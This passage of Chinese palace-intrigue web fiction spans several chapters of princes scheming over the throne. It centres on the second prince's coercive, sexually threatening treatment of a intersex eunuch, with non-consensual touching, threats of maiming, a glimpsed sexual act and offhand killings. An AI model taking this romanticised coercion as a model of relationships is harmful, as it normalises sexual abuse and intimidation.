更甚者,现在太子也不顾她,点明她与别人有染,那太子妃还何必手下留情,尽情施展自己的不爽和报复。 言卿卿彻底绝望了,也死心了。 这宫里不是她能玩得转的,她的算计,听从别人的指使,彷佛一个笑话,把她往地狱之路上引,言卿卿知道自己活不了了,孩子也没了,那她还有什么可坚持的。 她向太子吐露了一切。 半年前,言卿卿一次外出时,爱上了一个风流纨袴,他们相识在桃花宴上,那日一切都美得让她心颤,所以她很快控制不住自己,又偷偷溜出去几次,皇天不负苦心人,她终于又见到了他。 知晓了他的身份,知道他名声不好,但言卿卿一点也不嫌弃,她很爱慕他,他身上的一切都那么有意思,让她着迷! 他们定情是在城外的一座姻缘庙里,那人中了迷药,闯入她的房中。 言卿卿半推半就。 那是她这一辈子最胆大的时候。 后来,竟一步错,步步错。 她有了身孕,但男人明显不想负责,得知她是言大人之女时,更连连摆手,直说不可能娶她,家里也不会同意。 言卿卿心碎了,可她又实在没办法,也不想回到过去,所以她想为自己争取一把! 她挺着肚子,跑去男人家里和他父母摊牌!要求必须明媒正娶!不然就把他强迫她的事说出去!还说自己已经有了孩子! 怎料,不幸的是,那天端妃也在场。 端妃打发走所有人,私下和她谈判,“未有婚约便勾引男人,珠胎暗结,谁知道你肚子里怀的是谁的野种,言卿卿,此事暴露,第一个先被口水淹没,先死的人是你!届时你还是进不了这个家门,除非一台小轿从侧门抬进来,想必言大人脸上会很风光吧,言卿卿,你信不信你都活着出不了你言家的大门。” 言卿卿这才被端妃吓住了,阻挡在眼前的,不只是这边,如果强行撕破脸,或者她的身子被父亲发现,父亲会是第一个把她关起来,或者让她消失的人! 她颤抖着,揪着手帕,不知道该怎么办。 端妃给她出了个主意,首要保住的,是她的命!她的孩子!那就只能找一个父亲压根不敢得罪的人,就算父亲知晓她已怀身孕,也不敢对她做什么的人。 那就是太子殿下。 言卿卿不知道这个想法是端妃灌输给她的,还是她自己想出来的,总之,后来再见到太子时,她立马计上心头,黏上去了…… 三个月,她和太子的感情日渐浓密,太子也说会娶她,言卿卿做着梦,太子妃一直无所出,如果她能进东宫,有孩子傍身,何尝不是一个最好的结果,所以她又听了端妃的计谋,趁着太子在行宫,假借家里逼迫,去找他说开,去让皇帝当面做主! 一切都进行得很顺利,唯独她不知道的是,家里被撮合结亲的,竟是四皇子的亲舅舅! 太子竟怀疑她拒绝了皇帝的赐婚! 于是一切开始大乱,且闹到不可收场。 四皇子事后还是气不过,跑来太子宫中,专门看那个给他舅舅戴绿帽子的人,看到是这样一个女人后,他怒气上头,踢了她一脚。 言卿卿没在这一脚下扛过去,终究还是死在了真相公布的前夕,本来就被打掉孩子,大出血极度虚弱,四皇子的泄愤,彻底让言卿卿告别人世。 而她的相好,也被压在朝堂上。 牵扯到的人越来越多,皇帝眼睁睁看着他的几个好儿子,个个表情异常,太子气愤,恨不得直接把太傅拉下马,六皇子焦灼,一边益州立功,一边却因外家陷入这么个大麻烦,四皇子脸皮厚,被言大人哭闹着让他赔自己女儿时,四皇子还毫无歉意。 “我就是随便踹了她一脚,谁知道她就死了?当时看到的人很多,关我什么事!言大人,你不是非要找茬吧?” “够了!”皇帝狠狠拍向龙椅,整件事环环相扣,最后全把皇家的脸丢干净了! 最后在皇帝的命令下,这些事没在众朝臣面前说清,只私下里肃清真相和结果。 是端妃,为了逼迫言卿卿不牵扯上侄子,把她赶出去,其他她什么也不承认了,包括诱使言卿卿攀上太子,挑拨她去行宫为自己求得身份,然后混淆太子的血脉! 如果真成了,她不可谓不心毒,自己这边什么都不用做,就可以让言卿卿,怀着他们魏家的孩子,充当太孙! 这个未出生的小孩,还是太子太傅的重孙,而太子太傅,又是太子的老师! 太子不气地吐血才怪。 她不承认,皇帝和太子等人,却差不多心知肚明,言卿卿真是够蠢,其实端妃从头到尾都舍弃了她,无论她能否嫁得太子,都是一步废棋。 嫁不了,太子会在言官之中,彻底失去拥护,甚至堵不了天下文人悠悠之口。 嫁进去,她绝对会在太子妃手下活不到孩子出生,端妃舍弃了她,也舍弃了这个和魏家有血缘的孩子,在太傅、甚至当事人纨袴美男、六殿下,都不知情的情况下,胆敢把手伸向太子,意图搅乱东宫。 端妃被直接打入冷宫,一步从天上到地下! 她不敢置信,可皇帝似乎不需要证据,不听她浅显的辩解,皇帝可以饶恕皇子们之间争斗,但他忍不了后宫插手,且以这么恶毒的手段。 警告道:“六皇子平乱有功,功过相抵,你还要闹下去吗,要不要让老六直接出宫陪你!” 出宫,不管封不封爵位,六皇子都彻底与皇位无关了,端妃再也不敢闹,不敢相信,自己竟这么奇奇怪怪的,快速失去风头。 萧琛心里也难过,太傅直接告老还乡,太子的这一招反击,直接斩断他最有利的一臂,萧琛心里紧缩,虽然母妃是瞒着他,棋差一着,但他总觉得,太子的反击太奇怪了,他好像笃定了一切与他们有关! 专门挖老底来了。 四皇子也不得轻松,因为踹死了言卿卿,又被皇帝禁足严惩,以给言大人交代。 言卿卿毕竟也有错,所以言大人还能怎么办…… 太子好像打了笔胜仗,但细数这件事后的结果就会发现,六皇子四皇子落不得好,他也同样! 朝中支持他的势力,好像突然不敢冒头了,对他敬谢不敏,装死不应,他失去了文官们的支持,某种程度上比六皇子还不如……他还沾沾自喜。 对自己的老师那么下狠手,行事又那么放浪形骸,岂能当得太子大任? 萧琛握着笔,刻意让自己平静下来,但写的一幅字,还是被他极不满意地攥成一团,丢出去了! 砸在贺璋身上,贺璋轻问道:“殿下,还好吗?” “不要着急,有您在前面不败不倒,端妃才能重获新宠。” 萧琛捏了捏鼻梁,忽然问:“我二哥在干什么呢?” 贺璋心跳了一下,他方才知晓,方闻钟离开东宫,被二皇子那边要去了……不知他安全吗? “二皇子,好像近日来一直在宫中玩闹,听闻今儿出宫去了,殿下?” 六皇子扔下笔,“正好父皇也允许我出宫讲学,不如我们一起去碰一碰,说不定能碰上我二哥。” “你觉得,太子与言家一事,与他有关吗?” 六皇子问得像呢喃一样,自言自语,贺璋还是听到了,下意识道:“不可能吧,二皇子可从头到尾没掺和。” 六皇子摆了摆手,似乎只是随便一说,他们一起出宫。 后来同行的!竟然还有陪太子一起的四皇子!他们要去言家赔礼道歉。 四位皇子就这么巧合地在两个时辰后,聚在同一间茶楼。 二楼包房,萧疏先带几个人上来,出宫逛了一圈,最后在这里歇歇脚,吃吃粗茶淡饭,方闻钟和胖太监怀里抱着一堆二皇子在街上买的小玩意儿,到茶楼,终于能放下松松手。 窗户打开,一只漂亮的红嘴鸽子,突然落在窗头,萧疏看得新奇,上去逗弄了几番,此时,胖太监等人都在布置茶室,所以只有方闻钟一人注意到!萧疏摸了摸鸽子的尖嘴,给它吃了两口豆子,然后从袖中取出一个黑色的小巧的竹筒,绑在鸽子腿上。 鸽子咕咕叫了两声,飞向高处不见了。 方闻钟心头惊讶,他立马就能猜到,这是二皇子的信鸽!而二皇子又在向谁传递消息呢! 特意选在宫外。 二皇子是没必要防备他们,还是…… 方闻钟就站在萧疏身后,看鸽子飞走后,他还待着不动,萧疏突然说话,他说话的声音不大,所以方闻钟很快明白,这是他说给自己一个人听的,“欢欢,鸽子斩断腿了还有翅膀能飞,你说人被砍断腿了,还能活吗?” 方闻钟很快低头,身上已经出了一层冷汗,“说话!”二皇子命令他。 他不敢不答,“不能。” “不,”萧疏笑了一下,“也能活的,”他忽然转身,脸上的表情比不笑时更吓人,“但他就只能在地上爬了,所有背叛我的人,我不会让他死的。” “欢欢,聪明点,就该知道我在说什么,对吗?” “我还没有好好探索你的身体,没有开始玩呢,不要让我扫兴,”他视线波澜不惊地往下扫了一眼,威胁得方闻钟开始颤抖。 “殿下,我什么都没看到,”他立马跪下去,很快在萧疏走过留给他背影后,他又改口,“我不会多说一个字的。” 二皇子离开,方闻钟才慢慢抬头,挺直后背,脸上已经覆了一层白汗。 方闻钟向萧疏布菜时,楼下被店家恭敬地引上来一行人,看到来的众人,方闻钟一手抖,那片菜叶,便直接掉在萧疏手上。 方闻钟看到了六皇子和贺璋,看到了太子和四皇子!而贺璋却看到了犯错的方闻钟,二皇子殿下表情奇怪地把手上那片菜叶擦干净,竟没有找方闻钟麻烦,可不当场发作不见得就是好事! 贺璋担心,他在性情暴戾的二皇子手下当值,真的没事吗? 太子一行人,早在楼下就阴阳怪气客气了一番,来到楼上看到萧疏这般自在,免不了又是虚情假意地客套,萧疏没兴致陪他们演戏,听到六皇子和太子还互相试探恭维,不免直接一盏茶扣上去! “不请自来,在本殿下这里上好的吃食招待你们,还堵不上你们的嘴吗。” 茶水顺着泼过去,第一个被波及的就是太子和六皇子,四皇子因为躲在六皇子后面,所以没被泼到,贺璋当下就冲上去替六皇子阻挡! 见只是一杯水,他脸上被泼得湿漉漉,茶水顺着发际往下滴,贺璋心沉了又沉,二皇子竟敢在太子和其他皇子面前,这么嚣张无礼! 试问除了皇帝,这一屋子有谁敢随便这样得罪? 太子当下就要发火,可对上萧疏的视线,想到他帮自己的忙,不然自己就要被人算计,被老六和端妃那个毒妇坐收渔翁之利,看他笑话,遂压了压脾气,不跟他计较,只阴阳道:“皇兄这是腿断了还没恢复正常人心性吗?” 空气骤然冷了一瞬,萧疏听后许久,也只是笑笑,却没人再顺着这个话题说下去了。 六皇子不禁要试探,刚在楼下时,他就想,整件事如果太子事先不知情,没有怀疑,那最后的结局会是什么? 太子陷入两难,无论纳不纳言卿卿为侧妃,他都会与四哥势不两立,会在百官之中尤其文官和谏臣之间,名声扫地,支持者大不如前。 可正是因为他提前知晓,所以负面效果全被反噬,他和四哥依旧没有好下场,可损失最惨重的竟然是自己! 母妃和外祖都一落千丈,要不是没牵扯到他,他在益州之事让父皇满意,怕不是自己直接被太子弄残了…… “二哥何必这么大气性,不知二哥最近在忙什么?”在他们和太子斗得你来我往,朝中官员势力几经轮换,二皇子萧疏,纯粹在看好戏吗? 他真的甘心,就这样失去父皇的宠爱,被太子算计,从此以后和以前不可同日而语? 萧琛说这些时,顺便不小心看到了方闻钟,他过目不忘,很快便想起来,这是贺璋托他弄进来的朋友,嗯? “二哥,这个小太监倒是有几分面善,不如赏给我伺候笔墨如何?” 两个问题同一个答案,方闻钟已经低低地垂着头,就差跪下去,他能察觉到大家都在看他,却闻萧疏说:“不如何,六弟竟识得他,想必是知道他有几分特殊的,我近日啊,”萧疏转着酒杯,“忙着在取悦自己。” 除了六皇子和贺璋,其余人均听得一头雾水! 六皇子愣了,萧疏是在说,他在玩弄这个小太监吗?六皇子乍然在心里笑了一声。 而贺璋,紧紧捏着拳头,他皱着眉头,担心地看向方闻钟,他很想问他你还好吗,究竟有没有被欺负! 可这实在不是相认关怀的好时机,就这么几息间,萧疏冷冽的双眸,就滑过六皇子,朝他看过来。 贺璋低头。 方闻钟不傻,这一刻他奇异地很聪明,脑子里想了很多事,他虽不知道太子和六皇子等人,究竟因何事均落败,但他知道,二皇子在其中,必然不是旁观者的角色,说不定,他才是一手操纵局面的人,方闻钟越想越胆寒,萧疏,绝不似他现在表现出来的那么简单。 头上突然落下来一只大手,方闻钟伏在萧疏腿边,萧疏像刚摸鸽子头一样轻轻摸着他,方闻钟不感觉到轻松,被宠爱,只感觉到那双手下一秒差点就要掐断他的脖颈! 后来太子六皇子等人都先走了,贺璋落在最后,他偷偷看了方闻钟一眼,方闻钟也偷偷看过去。 他对他比嘴型,‘贺哥哥,我没事。’ 下楼的脚步声渐行渐远,萧疏在心里算计,太子和六皇子的争斗,要斗就斗快点,他不介意给他们之间添把火加点柴,第一回合迅速落幕,六皇子势力微弱,那下一步该到谁了呢? 萧疏绑在鸽子腿上的信中写道:贡品丢失一事,与太子有关,在益州。 鸽子飞向六皇子的据点。 老六,现在该来试试你这把刀,锋利不锋利了。 方闻钟转过头,只因萧疏捏着他脖子,促使他看他,“贺哥哥,叫谁呢?” “欢欢,你是六皇子的人?”【你现在阅读的是 】 60-70 第61章 方闻钟舔干净萧疏的手。 “我这宫里可容不下别人的人,”萧疏变了脸色,抬起方闻钟的下巴,方闻钟立马跪倒在他脚边。 萧疏的手背忽然在方闻钟眼下晃了晃,“惦记你的贺哥哥,都能疏忽到布菜时烫着我的手了,欢欢,”他凑近他耳朵,如极亲密人之间的低吟,“他们都知道你是双性人吗?六皇子和贺璋?嗯?” 方闻钟汗毛竖立,萧疏的鼻息喷在他脸上。 “殿下,该回宫了,”胖太监在后边解围,他能察觉出主子情绪不对,看欢欢在那边被吓得不轻,他可怕殿下在这里就直接杀人处理。 “滚,”萧疏都不用回头,一声斥责,胖太监什么都不敢说了,闭嘴,把空间留给二人。 他无能为力,只求欢欢别再惹着殿下,好生生的活着,伺候好殿下不好吗?非要沾染上别的人,胖太监乖巧地搭着手,守在门外。 方闻钟吓到应激反应,舌头直接伸上去,快速地舔了几下萧疏的手背,萧疏抬着他脖子的力道果然松了,方闻钟又低头舔了几下,沉静道:“殿下,我不是六皇子的人,我,我只是进宫前认识贺璋贺大人。” 萧疏松开他,方闻钟麻利地掏出干净的专属于二皇子的手帕,再替他擦擦弄脏了的手背,他手里捧着他玉石般的手指,触感温润又冰凉,二皇子抽出手时,他还有点微妙的不舍。 “这么说,你是通过他们进宫的?” 他低垂眼瞥他,“一个双性人,要瞒过其他人悄无声息地进宫当太监,不容易,六皇子因何要帮你?你又是为何进宫?” 方闻钟半真半假地说道:“是请求贺大人帮忙说了好话,六皇子是看在贺大人的面子上帮我一把,我这副身体,在外面……会被人欺负,反正我也对女子没兴趣,就进宫好好过活了,”方闻钟越说,头越往下低。 “哼,”萧疏不知信没信他的鬼话,“对女子没兴趣?在外面被人欺负?”他眼睛里像冒着火,又像平静的一潭死水压抑住,“欢欢,你觉得进宫就没人欺负你了吗?进宫就能好好活着了吗?” “你知道的秘密越来越多,在我身边,我要欺负你,”他嘴唇一张一合,就差贴着方闻钟的面额威胁他,“你愿意委身吗?” 方闻钟逐渐跪不住,他不敢相信听到了什么,二皇子好奇他的身体,摸摸他玩玩他方闻钟能理解,他现在的意思是,他竟不嫌弃自己,还打算强要了自己吗? 方闻钟抖得厉害,眼睛逐渐失焦,“愿意吗。” 他又被逼问了一句,可随即,二皇子便扔开他起身准备走了,方闻钟腿疼了一下,跟在后边站起来,是的,其实也不需要他回答,愿不愿意,他想做什么,方闻钟又能反抗什么。 下楼时,萧疏忽然背着手好奇地说了一句,“你就不好奇六皇子为什么愿意帮贺璋这样的忙?据我所知,老六可不是个热心的人……”他轻哼了一声,方闻钟听在耳里,心里也滑过一层波澜。 到了皇宫,夜晚萧疏沐浴时,他果然因为今天一天一直走动,过度劳累导致腿又开始疼了。 胖太监贴心地替殿下换好药,然后包扎好用火炉烘烤着,萧疏抵着头,轻声道:“去叫他过来伺候。” 胖太监低头出去,知道说的是方闻钟。 方闻钟第一次见萧疏的伤腿,烘烤过后,他要替他把膝盖处的药草洗干净,再擦干。 当药草被冲洗下去,露出狰狞的崎岖的膝盖处时,方闻钟吓了一跳!差点把萧疏的腿摔下去! 那里红通通的,布满伤疤的皮肉下,骨头像奇奇怪怪地连接在一起,皮肉上坑坑洼洼,因为这一天的走动,现在肿得厉害,方闻钟看得难受,他不知道萧疏平日里走路是怎么忍得住的! 看他那样自在,在马上驰骋飞扬,他就以为他伤得不重,已经快好了。 谁知道,一切都是萧疏强撑! 方闻钟手扶着他的腿,一点点擦干,他指尖特意在他膝盖断处摸了一下,本来闭眼睡着的萧疏,乍然睁开眼睛,用一双淩厉的美目看他。 方闻钟眼皮眨巴,不敢说谎,话说不利索有点结巴,“殿,殿下,疼吗?” 穿好裤子,萧疏起身,方闻钟还在他背后笨拙地清理脏东西顺口说:“殿下,可以少走走路,少骑马,在宫里坐轿撵就好。” 萧疏忽然回头,一把打翻他端着的盆子,“你在可怜我吗,欢,欢。” 他被触及到了逆鳞,方闻钟不知道,萧疏可能最讨厌别人可怜他垂怜他的!尤其他一个小太监,凭什么。 “你被割掉那里疼吗?欢欢,有时候我真不知道你是蠢还是觉得我蠢?” “你觉得我该相信你说的,忍受那么大的剧痛和苦楚,就为了变成一个不男不女的太监,在宫里为了活命安生活下去?” “老六知道你的异样,贺璋更是认识你,他们哪一个人欺淩你,哪一个人对你有些心思,你就等着被当破烂最后丢进乱葬岗吧!骗什么你是进宫来活命的,欢欢,我不跟你计较这些,我等着你慢慢露出马脚,但你在这个过程中,胆敢再忤逆我,或惹怒我,我一定让你提早知道下场!” 方闻钟本来被萧疏一把按在床上,这下,他扔下他的脖子,早起身离开了。 方闻钟头被弄得一偏,再转过来时,已经泪流满面。 二皇子生性多疑,不止够狠,也够敏锐,方闻钟没想到他连一天都没骗过他。 只不过暂时二皇子貌似不想跟他计较,不想把目光放在他进宫的异样上,他只关心,或者说,只对他下边的身体有好奇。 ‘割掉那根东西时疼吗,’方闻钟边哭着,边沉默地收拾着地上的东西,可疼了,那一瞬间他恨不得去死,被人抓着,被人看着,虽然那些人他不认识,还没眼熟就被处死了,可方闻钟忘不了那时的痛苦,今天被萧疏提起来,他才觉得,他也这么脆弱…… 深夜来临,方闻钟孤独地侧身睡着,睡不着,便睁眼怀里抱着一把小木哨子。 他摩挲着,暗卫没有来,因为他不吹哨子,就代表他是安全的,不需要被保护。 可方闻钟想要陪伴,想要随便怎样说说话就成,哪怕暗卫他说三句他可能才回一句,方闻钟就是想见见别人,想见见和二皇子完全不一样的人。 他恐惧他,忍不住亲近他,在暗卫面前,他才能简简单单地做一回方闻钟。 而不是二皇子惦念的‘欢欢’。 他吹响了哨子。 安心地等待着。 等了许久,方闻钟忽然听到屋外很远处好像传来一些嘈杂。 他立马起身,耳朵贴近窗户仔细听着。 有刀剑声劈砍的声音,还有喊叫声,是侍卫们举着火把!方闻钟透过窗户,看到一点火光! 他突然心头不妙,不会是暗卫来这里,被发现抓着了吧? 不可能!不可能!方闻钟这样安慰着自己,却很快下去匆匆忙忙地穿上衣服和鞋,就准备出门去看看! 穿过走廊,他抱着衣服,然后就看到大殿外!一个黑衣人被两把刀抵在脖子上!跪在院子里,周围一圈全是带刀或举着弓箭的侍卫!火光在那些人脸上跳跃,方闻钟看不清黑衣人的脸或眼睛。 他一转头,就看到了坐在院里的,被师父恭敬伺候着的萧疏。 萧疏拿着一根断箭,箭头是未开磨的铁器,伤不了人,只能把人吓退,这是黑衣人快被抓住时,紧急射出来的!直直面向萧疏的胸口。 他以为追他的人会去保护二皇子,从而顺利逃走,没想到一瞬间,二皇子就用手指夹住那根箭!他只是偏了偏身,追他的人,甚至都没有回头看一眼。 黑衣人就这样被架着刀,跪在萧疏面前。 看了看箭头,萧疏好像睡中被打扰了,他皱着眉头,也不打算审问,轻飘飘道:“杀了吧。” 在旁边听着的方闻钟,一瞬间如坠冰窖! 在侍卫们举刀时!他大声喊:“不要!”人也随着声音跑出去!一只鞋跑丢了! 他跌跌撞撞跪在萧疏跟前,手抓着他的小腿,“殿下,殿下,求你不要杀他,他……我,”方闻钟眼角滑下硕大的泪珠,终于彻底跪下去,头垂在萧疏脚边,“我愿意跟你做任何事。” 暗卫是好人,他是无辜的,在这里被二皇子抓住,要是因为他不明不白的死了,方闻钟感觉自己承受不了这个代价。 他再也不愿意有人因为保护他,把他抛到一旁,为他死。 萧疏没发话,侍卫们的刀要落不落,黑衣人也懵逼地看这个突然跑出来,为他求情的小太监。 是太监吧?可这个小太监胆子竟这么大,敢这时候阻止二皇子。 抓住萧疏腿的手,死死用力,他的额头磕在自己脚上,萧疏用靴子尖抬起方闻钟的头,让他看向自己,方闻钟不明所以地抬头。 萧疏弯腰,他手伸过来,方闻钟忍着没让自己躲,然后就看到萧疏,挑起他脖子里的一个木哨子,看了眼,“这是什么?” 方闻钟惊诧,此时,他忽然回头看了眼以为是暗卫的黑衣人,恰巧就看到黑衣人那双完全不一样的眼睛,他的眼睛小而黑,不像暗卫,方闻钟立马转头看向萧疏,脖子里的哨子快要被他扯断了! 他急中生智,抓住萧疏的手,顺便也抓住木哨子,“殿,殿下,我好像做梦发癫了,刚才发生了什么?” “我做了什么?” 他装得浑然天成,好一副无辜的样子,萧疏都要笑死了,手便松开,木哨子还给他,“是颠得不轻,”背后,黑衣人被侍卫们带下去,一场刺探情报,来试探的人,就这么快被萧疏抓住。 他不在乎是谁派来的,他只要让其他所有不怀好心的人知道,他这里,坚如铁桶,他可以不插手其他事,但也不允许别人来叨扰他。 方闻钟跪着,萧疏在前走,他在后面爬过去抓住自己掉了的鞋,顺便穿上,二皇子转身,“什么都愿意跟我做?欢欢,你刚说了什么?是不是我今晚也耳朵不好,和你一起发癫了?” 方闻钟应也不是,不应也不是。 尴尬无比。 “起来吧,”没有再为难他,方闻钟起身,离萧疏两步远,木哨子两人都能看到,方闻钟还把它重新藏在衣服里了。 现在他知道了,根本不是暗卫,暗卫没有来,可能没听到哨声,毕竟他只吹了一声,吓了他一大跳! “既然睡不着,这么想看热闹,我便带你去看看真正的热闹,”萧疏话落,揽起方闻钟的腰,眨眼间,两人便跳上屋顶。 在宫里飞来飞去,方闻钟又怕又惊讶!二皇子功力这么好吗,竟然在皇宫来去自如,没有人发现他们! 直到好久之后萧疏带方闻钟轻轻落在一片屋顶上,掀开一块瓦片,方闻钟才从刚才的害怕和爽快中回过神来。 他脚下一重,就要踩出声音,被二皇子一把提起来,萧疏瞪了他一眼,方闻钟赶紧捂嘴,接下来所有动作都小心翼翼。 趴在屋顶上,他都不知道萧疏这是带他来哪里? 他们怎么突然就一起来看热闹了? 方闻钟这一晚可真刺激又复杂。 透过瓦片下的一小束光,方闻钟眼睛凑上去,就看到六皇子那张在灯下俊朗的脸! 他一下抬起头来,正好撞到了萧疏的下巴,方闻钟都顾不上请罪,他左右看看,不认识,原来这是六皇子的宫殿! 而殿内另一个人!他也无比惊讶,竟是还在和六皇子对弈的贺璋。 萧疏蹭了下下巴,才看到方闻钟回过头来,有些惊恐地看向他,萧疏示意他继续听,继续看,瓦片又被弄走一块,六皇子这里,守着的人都在下边,还没人注意到他们,注意到了,萧疏也绝对有把握轻松地带方闻钟离开。 六皇子和贺璋边对弈边说话,方闻钟有点惊讶于贺哥哥对六皇子的态度,他以为他只是效忠于六皇子,六皇子和他有共同语言,谁料他们私下相处,竟平和亲密很多。 贺璋自然地唤他名字,一点不似在外头那么恭敬。 他能听到他们说话,虽然声音很小,但方闻钟连听代猜,还是听清楚了,六皇子说:“想不到二哥好这一口,你那个朋友,进宫来当太监,还真是会选好时机,会选好主子。” 再换个时候,二皇子风头正盛,哪里能看得到他,再换个人,小太监早死都不知道死哪去了。 只有他的好二哥,会真因为一个人,因为一个玩物,而好好护着他,玩物丧志。 人是从太子那边抢过去的,还因此弄死了太子妃身边的一个老太监,很快,这些事都被萧琛调查清楚,他瞭然于心,不管是二哥纯属给太子找不痛快,还是单纯对双性人感兴趣留在身边干暖床的活儿,六皇子都乐得看到,他对萧疏也渐渐放下戒心。 此时,有人进来抬起手低着头禀告,“殿下,人被二皇子杀了。” 六皇子啪一下在棋盘上落下一字,属下出去,他面色不变地对贺璋说:“我这二哥,还这么惹不得,算了,不动他了。” 贺璋从刚才萧琛说起方闻钟,就紧紧捏着棋子,又听闻派去监视二皇子的人,被这么快直接杀了,他越来越紧张,担心方闻钟,方闻钟在二皇子那里,会不会被轻易杀掉? 他的身份二皇子知晓吗? 应该不知道他是太子追查的人,是方知府的儿子,但二皇子知道了方闻钟的身体不同于别人!且对这点津津有味势在必得! 贺璋真的很放不下方闻钟,他想去看看他,想去问话,方闻钟进宫是来躲仇,他废了那么大功夫付出那么多,如果现在就被二皇子玷污,贺璋手里的棋子快被他捏得粉碎,六皇子提醒了一句,他才想起下棋。 萧琛显然对这件事不想再追究,贺璋也不敢再借萧琛的手,帮方闻钟从二皇子那里逃出来,究竟该怎么办…… 贺璋的眉头越皱越深。 方闻钟屏气凝神,从六皇子说黑衣人是他们派去的,他就开始害怕,他知道的这么多不是好事,可萧疏就在他背后顶着他,他不得不听。 谁料,接下来还有让他大开眼界,难以置信的事! 屋内的灯火跳跃,逐渐暗淡,当那局对弈结束,贺璋的背影跪在六皇子腿间,缓缓低头,他的发髻上下抖动,方闻钟紧紧捂住自己的口鼻,目光瞪得像铜铃!眼泪却不由自主地掉下来了。 不经人事的他,也知道下面在做什么,发出的声响在寂静中那么刺耳,方闻钟抖如筛糠,背后的胸膛却提醒他,这里不是他一个人! 萧疏也看到了,他嘴角勾起一抹笑,轻声在方闻钟耳边说:“现在知道了,老六为什么会帮贺大人替你隐瞒了吗?” “欢欢,你和贺璋,什么关系?” 萧疏的手伸到前面,方闻钟今晚跑得匆忙,腰带本来就系得不紧,他扣住萧疏的手,转头早已泪流满面祈求他,一双圆眼脆弱又无助,可二皇子的手,还是触碰到了他曾经触碰过的地方。 就这样,贺璋在下面伺候六皇子,他在上面被二皇子戏弄,萧疏还搭在他下巴上,问出让方闻钟恨他的话,“贺大人,也和你一样?” 方闻钟一嘴咬上萧疏的下巴,他盯着他,如果眼神也有杀伤力的话,萧疏现在已被方闻钟万箭穿心。 萧疏任他咬着,可方闻钟不再敢了,他突然觉得好悲哀,他在宫里前途迷茫,贺璋也一样,迫不得已。 刚滑过这个念头,萧疏就从他后背离开,冷笑道:“贺大人可比你识相的多,也自愿的多。” 是这样吗?方闻钟看向萧疏,怀疑又坚持。 萧疏闭上眼。 下面早早结束,后来又进来一个人,才重新吸引了方闻钟的目光。 那人欲在六皇子耳边说悄悄话,六皇子却打断他,“直接说吧,没有外人,”他慵懒地擦着自己的手,对面的贺璋垂下头去,浅喝了一口茶。 “六殿下,我们得到消息,之前丢失的那批贡品,有一件在益州出现了。” “益州?” “是,转卖他的,极有可能是太子的人。” 六皇子和贺璋,齐齐顿住动作,细细听闻。 贡品丢失一事更早,一直没有线索,皇帝甚至怀疑是江湖人士,或境外小贼,偷去的,没想到有朝一日会在益州出现,这么巧合? 怎么他们之前平乱时,没有丝毫线索。 不对,六皇子拧眉思考,其实平乱时,也有一件事引起他的注意,那就是太子派人去帮他们,明面上说自知处理有亏,能帮一点是一点,可实际上,他们在益州没人知道接下来的行踪,究竟是平乱,还是有其他意图? “太子,”六皇子冷笑一声,霸气和狠辣尽显其中,“你是不是手伸得太长了些,真不怕皇弟给你剁掉啊。” 贺璋严肃,“也就是说,贡品丢失一事与太子有关,就在益州!” 贺璋这句声音有点大,房顶上的两人都听清楚了。 方闻钟尚不知道这句话完美契合了萧疏在信鸽之上载递出去的消息,他只知道,终于有人查出来了一点!太子在益州干的天怒人怨的事! 要是被皇帝知道,太子绝对没有好下场,现在六皇子这边终于开始拿这点查下去,要对付太子了。 方闻钟心口如燃烧着一把烈火,这把火只有他自己一个人知道。 他有多恨太子!多想还家人清白! 突然被点住了xue,萧疏说:“走了,”他被直挺挺地掳下去,就在他们刚离开,来禀告六皇子消息的人,忽然抬头看了一眼。 那里空荡荡的,瓦片也已盖上。 那人飞下去,手腕上落了一只信鸽,再重新飞走,赫然正是萧疏前面放出去的那只。 一切如期进行,萧疏已带着方闻钟回来,方闻钟痴痴傻傻的,今晚发生的事太多,他有点混乱,忽闻萧疏停下脚步,把手伸到他面前,“欢欢,脏了,再舔干净。” 他听到他说。 第62章 他真的打算强要了他吗? 隔了一段时日,贺璋找到机会来宫里见到了方闻钟。 二皇子和六皇子等人在亭子里说话,方闻钟被贺璋一把拉住拽入柱子后面。 那边萧疏朝鱼儿喂食的手,顿了顿,眼眸微转,六皇子重新吸引他的视线,“二哥最近经常出宫吗?倒是让皇弟羡慕不少。” 许久不露面的五皇子也在场,他局促地抬起眼,眼巴巴看了眼萧疏,对这个肆无忌惮活得欢快的二哥,也是羡慕不少。 老四之前和萧疏闹了矛盾,现在不好上赶着说什么。 唯有太子不在。 “逛了逛宫外的酒楼铺子罢了,之前在宫中,倒是没发现外面的市井也这么有意思,”萧疏一把鱼食全撒下去,引得鱼儿争相抢夺,不要命一般,互相撕咬。 “呵,”他笑出了声,五皇子偷偷往水里一看,有鱼被吃了的血迹,他不忍地收回目光,不知道二皇子这有什么好笑的。 那边贺璋急切地说:“闻钟,你有没有事!二殿下有没有对你动手动脚欺负你?” 方闻钟僵了一下,不论是贺璋的问话,还是贺璋拉住他的手,他挣脱开,悄声说:“贺哥哥,你不要再称呼我的真名了。” “好,”贺璋这才反应过来,自己心急会惹出大祸的。 “二殿下……” 他又要说,被方闻钟打断,他摇头,“二皇子只是爱玩闹,现在没有对我做什么,我是安全的。” 他说着吞咽了一下口水,彷佛又回到那晚他细细替他舔干净手指。 方闻钟的脸有些发红,贺璋根本注意不到,听他这么说,才终于放下一口气,“总之二殿下行事诡谲,你要小心点!” “实在不行,”贺璋犹豫道,万一二皇子真想欺负方闻钟,方闻钟根本反抗不了,所以他说:“要不我让六皇子再帮帮忙,把你要到他那边去,闻钟,你相信我,你在那边一定是安全的,太子也发现不了你。” 方闻钟抬头,眨眼看着真心实意的贺璋。 他摇头,“不用了,”因为不可能成功。 一是对二皇子而言,他现在怀疑他的身份和目的,暗地里还知道他和贺璋六皇子怎么回事,他根本就不会放手,方闻钟敢有去六皇子那边的想法,二皇子就能直接了结了他。 二是对他自己而言,贺璋,贺哥哥在那边也自身难保,他做出这样的保证,保他安全,贺哥哥又要付出什么…… 想着想着,方闻钟又眼热了,萧疏说他是自愿的,可方闻钟不相信。 他现在再回忆起那晚烛光下的画面,都觉得恶心,是对贺哥哥的侮辱,他有点讨厌六皇子了。 而且……他手里的太子的把柄,交给六皇子不一定是好事,他能在现在太子如日中天的时候掰倒他吗?就算成功,六皇子的性子,能多一事为他方家平冤吗? 他害怕结果只是自己被利用一场,达到他们的目的,方家的事就没人管了。 他还想太子偿命!而做到这点,要有多难多难…… 方闻钟没把握,他只能慢慢蛰伏,等待时机。 所以他自己也不愿意去六皇子那边,跟着萧疏,才能看到更多,知道更多! 六皇子太子都被他蒙骗了,方闻钟不知是心里高兴还是不高兴,二皇子,貌似才是这宫中最不能轻视的人。 